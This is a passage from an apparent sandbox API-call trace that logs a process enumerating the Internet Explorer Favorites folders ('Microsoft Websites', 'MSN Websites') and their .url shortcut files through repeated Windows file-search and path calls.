ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0080.357] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.357] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0080.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0080.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpFilePart=0x0) returned 0x3b [0080.359] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.362] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0080.363] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0080.363] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0080.363] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0080.363] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.364] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0080.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpFilePart=0x0) returned 0x35 [0080.366] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.368] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.369] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0080.369] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0080.369] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0080.369] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, 